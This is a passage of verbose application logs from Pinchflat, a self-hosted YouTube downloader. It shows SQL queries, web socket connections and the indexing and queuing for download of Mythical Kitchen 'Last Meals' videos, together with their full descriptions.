(((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [52] 20:48:14.548 [info] Kicking off download for media item #52 (FpEhDtzfcBc) 20:48:14.549 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [55, 52, ~U[2026-03-28 00:48:14Z], ~U[2026-03-28 00:48:14Z]] 20:48:14.549 [debug] Current batch of media processed. Will check again in 1000ms 20:48:15.550 [debug] Current batch of media processed. Will check again in 1000ms 20:48:15.631 [info] GET /sources/new 20:48:15.631 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 20:48:15.631 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1083.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:48:15.632 [debug] QUERY OK source="settings" db=0.0ms idle=1083.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:15.632 [debug] QUERY OK source="settings" db=0.0ms idle=1083.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:15.632 [debug] QUERY OK source="settings" db=0.0ms idle=1082.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:15.632 [debug] QUERY OK source="settings" db=0.0ms idle=540.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:15.632 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:15.633 [info] Sent 200 in 2ms 20:48:15.645 [info] CONNECTED TO Phoenix.LiveView.Socket in 17µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Oz08KzEEMSYqBXUSbjQYCHUPf25fGEUpPZnH_aHJz6Ee6xwKGLH_hO3D", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:16.086 [info] CONNECTED TO Phoenix.LiveView.Socket in 26µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BQkrASlVGyYeXnFBYDg3c1d1QUtCHhcZnnybG0bJNmA68tX0e6vzuIat", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:16.129 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:16.129 [debug] Replied in 91µs 20:48:16.551 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking John Boyega's last meal.\n\nThis interview was filmed before the 2023 SAG-AFTRA strike.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 John's Last Meal Menu\n0:34 Intro\n1:45 Thinking About Death\n3:05 1st Course - BBQ, Lamb Chop, Jollof Rice, & Shirley Temple\n3:36 Who Has the Best Jollof Rice?\n5:00 Do Humans Have Free Will?\n6:17 Preserving Cultural Food Traditions\n7:21 Taking Harrison Ford Out For Dinner \n9:45 Technology vs God\n11:03 Course 2 - Burger, Fries, Chicken & Waffles, Orange Chicken, & Juice\n11:47 John Boyega is a Juice Man\n13:23 How John Wants to Die\n13:55 Black Lives Matter Protest\n15:26 BoatmanThreatens John at Sea\n17:03 Opening Doors for Others\n18:57 Course 3 - Seafood Boil\n19:14 John's First Shrimp Head\n19:59 Date Night at The Juicy Crab\n21:11 Extra Spicy (Trinidad Scorpion Pepper)\n22:13 Thoughts on Religion\n23:40 They Cloned Tyrone\n24:39 Course 4 - Sweet Potato Pie, Red Velvet Cake, Golden Oreos, & Gummy Bears\n25:10 Eating Cake with Spike Lee\n26:15 Death of a Childhood Friend\n27:36 Fear of Being Called a Christian\n30:19 Lightning Round - Who Would You Share Your Last Meal With?\n30:53 What Song Do You Want Played at Your Funeral?\n31:53 What Accent Do You Want to Do in a Movie?\n32:20 Who Plays You in the Biopic About Your Life?\n32:54 What's Your Biggest Fear?\n33:57 What's Your Greatest Regret in Life?\n34:27 Are You Happy?\n35:01 John's Last Words\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM" <> ..., "duration" => 2153, "filename" => "/downloads/Last Meals/2023-07-18 John Boyega Eats His Last Meal/John Boyega Eats His Last Meal [CLcXgr1Lymw].mp4", "id" => "CLcXgr1Lymw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CLcXgr1Lymw", "playlist_index" => 53, "timestamp" => 1689674408, "title" => "John Boyega Eats His Last Meal", "upload_date" => "20230718"} 20:48:16.552 [debug] QUERY OK source="sources" db=0.2ms idle=919.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:16.552 [debug] QUERY OK source="sources" db=0.1ms idle=920.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:16.553 [debug] QUERY OK source="media_items" db=0.2ms idle=920.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-18 10:00:08Z], 1] 20:48:16.555 [debug] QUERY OK source="media_items" db=1.8ms idle=920.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking John Boyega's last meal.\n\nThis interview was filmed before the 2023 SAG-AFTRA strike.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 John's Last Meal Menu\n0:34 Intro\n1:45 Thinking About Death\n3:05 1st Course - BBQ, Lamb Chop, Jollof Rice, & Shirley Temple\n3:36 Who Has the Best Jollof Rice?\n5:00 Do Humans Have Free Will?\n6:17 Preserving Cultural Food Traditions\n7:21 Taking Harrison Ford Out For Dinner \n9:45 Technology vs God\n11:03 Course 2 - Burger, Fries, Chicken & Waffles, Orange Chicken, & Juice\n11:47 John Boyega is a Juice Man\n13:23 How John Wants to Die\n13:55 Black Lives Matter Protest\n15:26 BoatmanThreatens John at Sea\n17:03 Opening Doors for Others\n18:57 Course 3 - Seafood Boil\n19:14 John's First Shrimp Head\n19:59 Date Night at The Juicy Crab\n21:11 Extra Spicy (Trinidad Scorpion Pepper)\n22:13 Thoughts on Religion\n23:40 They Cloned Tyrone\n24:39 Course 4 - Sweet Potato Pie, Red Velvet Cake, Golden Oreos, & Gummy Bears\n25:10 Eating Cake with Spike Lee\n26:15 Death of a Childhood Friend\n27:36 Fear of Being Called a Christian\n30:19 Lightning Round - Who Would You Share Your Last Meal With?\n30:53 What Song Do You Want Played at Your Funeral?\n31:53 What Accent Do You Want to Do in a Movie?\n32:20 Who Plays You in the Biopic About Your Life?\n32:54 What's Your Biggest Fear?\n33:57 What's Your Greatest Regret in Life?\n34:27 Are You Happy?\n35:01 John's Last Words\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM" <> ..., "John Boyega Eats His Last Meal", "ea55288d-6e5d-4b98-9fe7-731dc4a2f158", "https://www.youtube.com/watch?v=CLcXgr1Lymw", false, "CLcXgr1Lymw", 2153, false, 53, "/downloads/Last Meals/2023-07-18 John Boyega Eats His Last Meal/John Boyega Eats His Last Meal [CLcXgr1Lymw].mp4", false, false, 1, [], 0, ~U[2023-07-18 10:00:08Z], ~U[2026-03-28 00:48:16Z], ~U[2026-03-28 00:48:16Z], "Today, Josh is cooking John Boyega's last meal.\n\nThis interview was filmed before the 2023 SAG-AFTRA strike.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 John's Last Meal Menu\n0:34 Intro\n1:45 Thinking About Death\n3:05 1st Course - BBQ, Lamb Chop, Jollof Rice, & Shirley Temple\n3:36 Who Has the Best Jollof Rice?\n5:00 Do Humans Have Free Will?\n6:17 Preserving Cultural Food Traditions\n7:21 Taking Harrison Ford Out For Dinner \n9:45 Technology vs God\n11:03 Course 2 - Burger, Fries, Chicken & Waffles, Orange Chicken, & Juice\n11:47 John Boyega is a Juice Man\n13:23 How John Wants to Die\n13:55 Black Lives Matter Protest\n15:26 BoatmanThreatens John at Sea\n17:03 Opening Doors for Others\n18:57 Course 3 - Seafood Boil\n19:14 John's First Shrimp Head\n19:59 Date Night at The Juicy Crab\n2 (truncated) 20:48:16.556 [debug] QUERY OK source="sources" db=0.1ms idle=461.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:16.556 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:16.557 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [53] 20:48:16.557 [info] Kicking off download for media item #53 (CLcXgr1Lymw) 20:48:16.558 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [56, 53, ~U[2026-03-28 00:48:16Z], ~U[2026-03-28 00:48:16Z]] 20:48:16.558 [debug] Current batch of media processed. Will check again in 1000ms 20:48:17.559 [debug] Current batch of media processed. Will check again in 1000ms 20:48:18.560 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Rainn Wilson eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Rainn's Last Meal\n0:20 Dwight Shrute Works At Mrs. Fields\n1:18 Have You Thought About Your Last Meal Before?\n1:50 How Often Do You Think About Death?\n2:40 1st Course\n4:40 Are Simulation Theory & Theism Compatible?\n5:43 Spirituality & Meatloaf\n7:28 The Bahai Faith & Star Trek\n9:56 What Gives You Hope For The Future?\n12:16 We Need Potlucks\n12:40 2nd Course\n14:58 Art As Worship\n16:58 Is God Necessary?\n18:14 Religion, Gaza, & Hot Dish\n20:07 3rd Course\n21:31 Why Rainn Hates The Word Charity\n23:57 The Chipotle Black Card\n24:47 That's What She Said\n25:26 An Ode To The Fried Plantain\n26:45 Preparing A Body For Burial\n28:50 Seeing The Soul In A Tear\n29:47 4th Course\n30:51 You Can't Legislate Away Evil\n34:00 What Do You Think Happens When You Die?\n36:14 Lightning Round\n39:09 Rainn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2409, "filename" => "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", "id" => "GI9314kbYKw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GI9314kbYKw", "playlist_index" => 54, "timestamp" => 1746093623, "title" => "Rainn Wilson Eats His Last Meal", "upload_date" => "20250501"} 20:48:18.561 [debug] QUERY OK source="sources" db=0.2ms idle=503.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:18.561 [debug] QUERY OK source="sources" db=0.1ms idle=504.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:18.562 [debug] QUERY OK source="media_items" db=0.2ms idle=504.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-01 10:00:23Z], 1] 20:48:18.589 [debug] QUERY OK source="media_items" db=25.9ms idle=505.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Rainn Wilson eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Rainn's Last Meal\n0:20 Dwight Shrute Works At Mrs. Fields\n1:18 Have You Thought About Your Last Meal Before?\n1:50 How Often Do You Think About Death?\n2:40 1st Course\n4:40 Are Simulation Theory & Theism Compatible?\n5:43 Spirituality & Meatloaf\n7:28 The Bahai Faith & Star Trek\n9:56 What Gives You Hope For The Future?\n12:16 We Need Potlucks\n12:40 2nd Course\n14:58 Art As Worship\n16:58 Is God Necessary?\n18:14 Religion, Gaza, & Hot Dish\n20:07 3rd Course\n21:31 Why Rainn Hates The Word Charity\n23:57 